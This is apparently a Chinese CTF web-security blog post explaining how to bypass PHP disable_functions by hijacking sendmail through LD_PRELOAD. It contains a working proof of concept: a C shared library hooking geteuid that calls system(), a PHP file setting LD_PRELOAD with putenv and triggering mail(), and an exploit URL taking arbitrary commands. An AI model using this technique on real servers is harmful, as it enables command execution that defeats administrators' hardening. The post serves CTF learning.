CTF Web安全

利用环境变量LD_PRELOAD绕过php disable_function执行系统命令

Posted on 2020-01-02,4 min read

利用条件
php未禁用putenv,mail函数

利用原理
php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,利用LD_PRELOAD劫持sendmail程序,再用mail函数来触发就能实现我们的目的
LD_PRELOAD
LD_PRELOAD是Linux系统的下一个有趣的环境变量:我们可以利用此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以向别人的程序注入程序,从而达到特定的目的。
下面用简单的代码。来理解下

#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
        printf("usage: %s <password>/n", argv[0]);
        return 0;
}
if (!strcmp(passwd, argv[1])) {
        printf("Correct Password!/n");
        return 0;
}
printf("Invalid Password!/n");
}

保存上述代码为a.c,并编译为a
gcc a.c -o a

以上程序很简单,根据判断传入的字符串是否等于”password”,得出两种不同结果。 其中用到了标准C函数strcmp函数来做比较,这是一个外部调用函数,我们来重新编写一个同名函数,代码如下(保存如下代码为b.c)

#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
    printf("hack functio  n invoked. s1=<%s> s2=<%s>/n", s1, s2);
    return 0;
}

编译以上代码成为一个动态共享库,让a程序调用我们自定义的strcmp函数
gcc -fPIC -shared b.c -o b.so
通过LD_PRELOAD来设置它被优先调用
export LD_PRELOAD="./b.so"
当我们再次运行a程序。发现无论输入什么都返回密码正确,因为程序调用了我们自定义的strcmp字符串比较函数,我们自定义无论输入什么,都返回0表示正确

构造POC
1.编制我们自己的动态连接程序,让php的mail函数调用/usr/sbin/sendmail。而sendmail又会调用我们自定义的恶意函数(x.so),就造成了命令执行
so代码:

#include<stdlib.h>
#include <stdio.h>
#include<string.h>

void payload(){
         FILE*fp = fopen("/tmp/2.txt","w");#这里是命令执行的地方
         fclose(fp);
         system("mkdir /var/www/html/test");
 }


int geteuid(){
  FILE *fp1=fopen("/tmp/2.txt","r");
  if(fp1!=NULL)
  {
   fclose(fp1);
         return 552;
        }else {
         payload();
         return 552;
       }
}

将上述代码保存为a.c
编译代码如下:
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
2.编写php文件,通过putenv来设置LD_PRELOAD,然后执行mail函数触发利用代码
vim 1.php

<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("","","","","");
?>

3.访问php文件,查看tmp是否存在2.txt

exp

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
http://192.168.0.100/bypass_disablefunc.php?cmd=[你要执行的命令]&outpath=/tmp/xx&sopath=[.so的绝对路径]

下一篇: Hello Gridea→